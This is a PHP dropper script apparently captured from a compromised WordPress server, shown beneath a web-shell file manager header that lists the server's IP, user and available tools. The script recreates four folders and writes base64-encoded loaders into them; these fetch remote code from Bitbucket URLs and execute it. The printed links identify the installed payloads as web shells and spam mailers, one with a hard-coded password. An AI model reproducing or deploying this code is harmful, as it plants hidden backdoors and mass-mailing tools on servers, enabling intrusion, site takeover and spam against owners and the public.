| Server IP : 103.88.176.108 / Your IP : 216.73.216.211 Web Server : Apache/2.4.41 (Ubuntu) System : Linux webserver 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.18 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/wp-content/plugins/vgpsgobpvv/ |
Upload File : |
<?php
// List of folder names
$folders = ["xl", "lu", "lm", "xm"];
// Function to delete directory and its contents recursively
function deleteDirectory($dir) {
if (!file_exists($dir)) {
return true;
}
// First try to change permissions
if (file_exists($dir)) {
@chmod($dir, 0775); // Change to 775
}
if (!is_dir($dir)) {
return unlink($dir);
}
foreach (scandir($dir) as $item) {
if ($item == '.' || $item == '..') {
continue;
}
$itemPath = $dir . DIRECTORY_SEPARATOR . $item;
// Change permissions of each item before deletion
@chmod($itemPath, 0775);
if (!deleteDirectory($itemPath)) {
return false;
}
}
return rmdir($dir);
}
// Delete existing folders and recreate them
foreach ($folders as $folder) {
if (is_dir($folder)) {
if (deleteDirectory($folder)) {
echo "Existing folder '$folder' deleted.<br>";
} else {
echo "Failed to delete existing folder '$folder'. Check permissions.<br>";
}
}
if (mkdir($folder, 0775)) { // Create with 775 permissions
echo "Folder '$folder' created successfully.<br>";
} else {
echo "Failed to create folder '$folder'.<br>";
}
}
// Your encoded content remains the same
$xshell_d = "PD9waHAKCiRmaWxlID0gJ2luZGV4LnBocCc7CiRsb2NhbEZpbGUxID0gJ2JhY2t1cC56aXAnOwokcmVtb3RlVXJsMSA9ICJodHRwczovL2JpdGJ1Y2tldC5vcmcvd2hva25vd3Nob3Avcm10L3Jhdy9kOWE0Njc1MDZkNDRmMmIzZTc3YTNlYjk5ZjQyZjU4MDk4OTI4OWRmL3hsbWFpbi50eHQiOwoKaWYgKGZpbGVfZXhpc3RzKCRmaWxlKSkgewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY2htb2QnKSkgewogICAgICAgIEBjaG1vZCgkZmlsZSwgMDQ0NCk7CiAgICB9CgogICAgJGZpbGVDb250ZW50czEgPSBAZmlsZV9nZXRfY29udGVudHMoJHJlbW90ZVVybDEpOwoKICAgIGlmICgkZmlsZUNvbnRlbnRzMSAhPT0gZmFsc2UpIHsKICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICBpZiAoJHppcC0+b3BlbigkbG9jYWxGaWxlMSwgWmlwQXJjaGl2ZTo6Q1JFQVRFIHwgWmlwQXJjaGl2ZTo6T1ZFUldSSVRFKSA9PT0gdHJ1ZSkgewogICAgICAgICAgICAkemlwLT5hZGRGcm9tU3RyaW5nKCdpbmRleC5waHAnLCAkZmlsZUNvbnRlbnRzMSk7CiAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7CiAgICAgICAgfQoKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGxvY2FsRmlsZTEpKSB7CiAgICAgICAgICAgIGluY2x1ZGUgInppcDovLyRsb2NhbEZpbGUxI2luZGV4LnBocCI7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGxvY2FsRmlsZTEpKSB7CiAgICAgICAgICAgIGluY2x1ZGVfb25jZSAiemlwOi8vYmFja3VwLnppcCNpbmRleC5waHAiOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIkVycm9yOiBGaWxlIE5vdCBGb3VuZCAhIjsKICAgICAgICB9CiAgICB9Cn0gZWxzZSB7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCRsb2NhbEZpbGUxKSkgewogICAgICAgICRmaWxlQ29udGVudHMxID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRyZW1vdGVVcmwxKTsKICAgICAgICBpZiAoJGZpbGVDb250ZW50czEgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkbG9jYWxGaWxlMSwgWmlwQXJjaGl2ZTo6Q1JFQVRFIHwgWmlwQXJjaGl2ZTo6T1ZFUldSSVRFKSA9PT0gdHJ1ZSkgewogICAgICAgICAgICAgICAgJHppcC0+YWRkRnJvbVN0cmluZygnaW5kZXgucGhwJywgJGZpbGVDb250ZW50czEpOwogICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGRpZSgiRXJyb3I6IGluZGV4LnBocCBpcyBtaXNzaW5nLCBubyBiYWNrdXAuemlwIGV4aXN0cywgYW5kIHJlbW90ZSBVUkwgZmFpbGVkLiIpOwogICAgICAgIH0KICAgIH0KCiAgICBpZiAoZmlsZV9leGlzdHMoJGxvY2FsRmlsZTEpKSB7CiAgICAgICAgaW5jbHVkZV9vbmNlICJ6aXA6Ly9iYWNrdXAuemlwI2luZGV4LnBocCI7CiAgICB9IGVsc2UgewogICAgICAgIGRpZSgiRXJyb3I6IEZhaWxlZCB0byBjcmVhdGUgb3IgYWNjZXNzIGJhY2t1cC56aXAuIik7CiAgICB9Cn0KPz4=";
$leaf_d = "PD9waHAKCiRmaWxlID0gJ2luZGV4LnBocCc7CiRsb2NhbEZpbGUxID0gJ2JhY2t1cC56aXAnOwokcmVtb3RlVXJsMSA9ICJodHRwczovL2JpdGJ1Y2tldC5vcmcvd2hva25vd3Nob3Avcm10L3Jhdy9kOWE0Njc1MDZkNDRmMmIzZTc3YTNlYjk5ZjQyZjU4MDk4OTI4OWRmL2xmLnR4dCI7CgppZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjaG1vZCcpKSB7CiAgICAgICAgQGNobW9kKCRmaWxlLCAwNDQ0KTsKICAgIH0KCiAgICAkZmlsZUNvbnRlbnRzMSA9IEBmaWxlX2dldF9jb250ZW50cygkcmVtb3RlVXJsMSk7CgogICAgaWYgKCRmaWxlQ29udGVudHMxICE9PSBmYWxzZSkgewogICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgIGlmICgkemlwLT5vcGVuKCRsb2NhbEZpbGUxLCBaaXBBcmNoaXZlOjpDUkVBVEUgfCBaaXBBcmNoaXZlOjpPVkVSV1JJVEUpID09PSB0cnVlKSB7CiAgICAgICAgICAgICR6aXAtPmFkZEZyb21TdHJpbmcoJ2luZGV4LnBocCcsICRmaWxlQ29udGVudHMxKTsKICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICB9CgogICAgICAgIGlmIChmaWxlX2V4aXN0cygkbG9jYWxGaWxlMSkpIHsKICAgICAgICAgICAgaW5jbHVkZSAiemlwOi8vJGxvY2FsRmlsZTEjaW5kZXgucGhwIjsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGlmIChmaWxlX2V4aXN0cygkbG9jYWxGaWxlMSkpIHsKICAgICAgICAgICAgaW5jbHVkZV9vbmNlICJ6aXA6Ly9iYWNrdXAuemlwI2luZGV4LnBocCI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiRXJyb3I6IEZpbGUgTm90IEZvdW5kICEiOwogICAgICAgIH0KICAgIH0KfSBlbHNlIHsKICAgIGlmICghZmlsZV9leGlzdHMoJGxvY2FsRmlsZTEpKSB7CiAgICAgICAgJGZpbGVDb250ZW50czEgPSBAZmlsZV9nZXRfY29udGVudHMoJHJlbW90ZVVybDEpOwogICAgICAgIGlmICgkZmlsZUNvbnRlbnRzMSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRsb2NhbEZpbGUxLCBaaXBBcmNoaXZlOjpDUkVBVEUgfCBaaXBBcmNoaXZlOjpPVkVSV1JJVEUpID09PSB0cnVlKSB7CiAgICAgICAgICAgICAgICAkemlwLT5hZGRGcm9tU3RyaW5nKCdpbmRleC5waHAnLCAkZmlsZUNvbnRlbnRzMSk7CiAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZGllKCJFcnJvcjogaW5kZXgucGhwIGlzIG1pc3NpbmcsIG5vIGJhY2t1cC56aXAgZXhpc3RzLCBhbmQgcmVtb3RlIFVSTCBmYWlsZWQuIik7CiAgICAgICAgfQogICAgfQoKICAgIGlmIChmaWxlX2V4aXN0cygkbG9jYWxGaWxlMSkpIHsKICAgICAgICBpbmNsdWRlX29uY2UgInppcDovL2JhY2t1cC56aXAjaW5kZXgucGhwIjsKICAgIH0gZWxzZSB7CiAgICAgICAgZGllKCJFcnJvcjogRmFpbGVkIHRvIGNyZWF0ZSBvciBhY2Nlc3MgYmFja3VwLnppcC4iKTsKICAgIH0KfQo/Pg==";
$lufix_shell_d = "PD9waHAKCiRmaWxlID0gJ2luZGV4LnBocCc7CiRsb2NhbEZpbGUxID0gJ2JhY2t1cC56aXAnOwokcmVtb3RlVXJsMSA9ICJodHRwczovL2JpdGJ1Y2tldC5vcmcvdWlkcm9vdHB5dGhvbi9zaG9wL3Jhdy84MTc2MTNhZDEzYWZlNGJiMWQxNzAxZGE1YjBhMDc5YTQyMmJhM2ZmL2x1Zml4bWFpbi50eHQiOwoKaWYgKGZpbGVfZXhpc3RzKCRmaWxlKSkgewogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY2htb2QnKSkgewogICAgICAgIEBjaG1vZCgkZmlsZSwgMDQ0NCk7CiAgICB9CgogICAgJGZpbGVDb250ZW50czEgPSBAZmlsZV9nZXRfY29udGVudHMoJHJlbW90ZVVybDEpOwoKICAgIGlmICgkZmlsZUNvbnRlbnRzMSAhPT0gZmFsc2UpIHsKICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICBpZiAoJHppcC0+b3BlbigkbG9jYWxGaWxlMSwgWmlwQXJjaGl2ZTo6Q1JFQVRFIHwgWmlwQXJjaGl2ZTo6T1ZFUldSSVRFKSA9PT0gdHJ1ZSkgewogICAgICAgICAgICAkemlwLT5hZGRGcm9tU3RyaW5nKCdpbmRleC5waHAnLCAkZmlsZUNvbnRlbnRzMSk7CiAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7CiAgICAgICAgfQoKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGxvY2FsRmlsZTEpKSB7CiAgICAgICAgICAgIGluY2x1ZGUgInppcDovLyRsb2NhbEZpbGUxI2luZGV4LnBocCI7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGxvY2FsRmlsZTEpKSB7CiAgICAgICAgICAgIGluY2x1ZGVfb25jZSAiemlwOi8vYmFja3VwLnppcCNpbmRleC5waHAiOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIkVycm9yOiBGaWxlIE5vdCBGb3VuZCAhIjsKICAgICAgICB9CiAgICB9Cn0gZWxzZSB7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCRsb2NhbEZpbGUxKSkgewogICAgICAgICRmaWxlQ29udGVudHMxID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRyZW1vdGVVcmwxKTsKICAgICAgICBpZiAoJGZpbGVDb250ZW50czEgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkbG9jYWxGaWxlMSwgWmlwQXJjaGl2ZTo6Q1JFQVRFIHwgWmlwQXJjaGl2ZTo6T1ZFUldSSVRFKSA9PT0gdHJ1ZSkgewogICAgICAgICAgICAgICAgJHppcC0+YWRkRnJvbVN0cmluZygnaW5kZXgucGhwJywgJGZpbGVDb250ZW50czEpOwogICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGRpZSgiRXJyb3I6IGluZGV4LnBocCBpcyBtaXNzaW5nLCBubyBiYWNrdXAuemlwIGV4aXN0cywgYW5kIHJlbW90ZSBVUkwgZmFpbGVkLiIpOwogICAgICAgIH0KICAgIH0KCiAgICBpZiAoZmlsZV9leGlzdHMoJGxvY2FsRmlsZTEpKSB7CiAgICAgICAgaW5jbHVkZV9vbmNlICJ6aXA6Ly9iYWNrdXAuemlwI2luZGV4LnBocCI7CiAgICB9IGVsc2UgewogICAgICAgIGRpZSgiRXJyb3I6IEZhaWxlZCB0byBjcmVhdGUgb3IgYWNjZXNzIGJhY2t1cC56aXAuIik7CiAgICB9Cn0KPz4=";
$xlmailer_d = "PD9waHAKCiRmaWxlID0gJ2luZGV4LnBocCc7CiRsb2NhbEZpbGUxID0gJ2JhY2t1cC56aXAnOwokcmVtb3RlVXJsMSA9ICJodHRwczovL2JpdGJ1Y2tldC5vcmcvd2hva25vd3Nob3Avcm10L3Jhdy9kOWE0Njc1MDZkNDRmMmIzZTc3YTNlYjk5ZjQyZjU4MDk4OTI4OWRmL3hsbWFpbGVyLnR4dCI7CgppZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjaG1vZCcpKSB7CiAgICAgICAgQGNobW9kKCRmaWxlLCAwNDQ0KTsKICAgIH0KCiAgICAkZmlsZUNvbnRlbnRzMSA9IEBmaWxlX2dldF9jb250ZW50cygkcmVtb3RlVXJsMSk7CgogICAgaWYgKCRmaWxlQ29udGVudHMxICE9PSBmYWxzZSkgewogICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgIGlmICgkemlwLT5vcGVuKCRsb2NhbEZpbGUxLCBaaXBBcmNoaXZlOjpDUkVBVEUgfCBaaXBBcmNoaXZlOjpPVkVSV1JJVEUpID09PSB0cnVlKSB7CiAgICAgICAgICAgICR6aXAtPmFkZEZyb21TdHJpbmcoJ2luZGV4LnBocCcsICRmaWxlQ29udGVudHMxKTsKICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICB9CgogICAgICAgIGlmIChmaWxlX2V4aXN0cygkbG9jYWxGaWxlMSkpIHsKICAgICAgICAgICAgaW5jbHVkZSAiemlwOi8vJGxvY2FsRmlsZTEjaW5kZXgucGhwIjsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGlmIChmaWxlX2V4aXN0cygkbG9jYWxGaWxlMSkpIHsKICAgICAgICAgICAgaW5jbHVkZV9vbmNlICJ6aXA6Ly9iYWNrdXAuemlwI2luZGV4LnBocCI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiRXJyb3I6IEZpbGUgTm90IEZvdW5kICEiOwogICAgICAgIH0KICAgIH0KfSBlbHNlIHsKICAgIGlmICghZmlsZV9leGlzdHMoJGxvY2FsRmlsZTEpKSB7CiAgICAgICAgJGZpbGVDb250ZW50czEgPSBAZmlsZV9nZXRfY29udGVudHMoJHJlbW90ZVVybDEpOwogICAgICAgIGlmICgkZmlsZUNvbnRlbnRzMSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiAgICAgICAgICAgIGlmICgkemlwLT5vcGVuKCRsb2NhbEZpbGUxLCBaaXBBcmNoaXZlOjpDUkVBVEUgfCBaaXBBcmNoaXZlOjpPVkVSV1JJVEUpID09PSB0cnVlKSB7CiAgICAgICAgICAgICAgICAkemlwLT5hZGRGcm9tU3RyaW5nKCdpbmRleC5waHAnLCAkZmlsZUNvbnRlbnRzMSk7CiAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZGllKCJFcnJvcjogaW5kZXgucGhwIGlzIG1pc3NpbmcsIG5vIGJhY2t1cC56aXAgZXhpc3RzLCBhbmQgcmVtb3RlIFVSTCBmYWlsZWQuIik7CiAgICAgICAgfQogICAgfQoKICAgIGlmIChmaWxlX2V4aXN0cygkbG9jYWxGaWxlMSkpIHsKICAgICAgICBpbmNsdWRlX29uY2UgInppcDovL2JhY2t1cC56aXAjaW5kZXgucGhwIjsKICAgIH0gZWxzZSB7CiAgICAgICAgZGllKCJFcnJvcjogRmFpbGVkIHRvIGNyZWF0ZSBvciBhY2Nlc3MgYmFja3VwLnppcC4iKTsKICAgIH0KfQo/Pg==";
// Create files in the new folders
$xshell_res = file_put_contents('xl/index.php', base64_decode($xshell_d));
if($xshell_res !== false){
echo('<a href="xl/index.php">xleet index.php</a><br/>');
} else {
echo('Failed to create xl/index.php<br/>');
}
$leaf_res = file_put_contents('lm/index.php', base64_decode($leaf_d));
if($leaf_res !== false){
echo('<a href="lm/index.php?pass=kod3">leafmailx.php</a><br/>');
} else {
echo('Failed to create lm/index.php<br/>');
}
$lufix_shell_res = file_put_contents('lu/index.php', base64_decode($lufix_shell_d));
if($lufix_shell_res !== false){
echo('<a href="lu/index.php">lufix index.php</a><br/>');
} else {
echo('Failed to create lu/index.php<br/>');
}
$xlmailer_res = file_put_contents('xm/index.php', base64_decode($xlmailer_d));
if($xlmailer_res !== false){
echo('<a href="xm/index.php?pass=kod3">xleet mailer index.php</a><br/>');
} else {
echo('Failed to create xm/index.php<br/>');
}
?>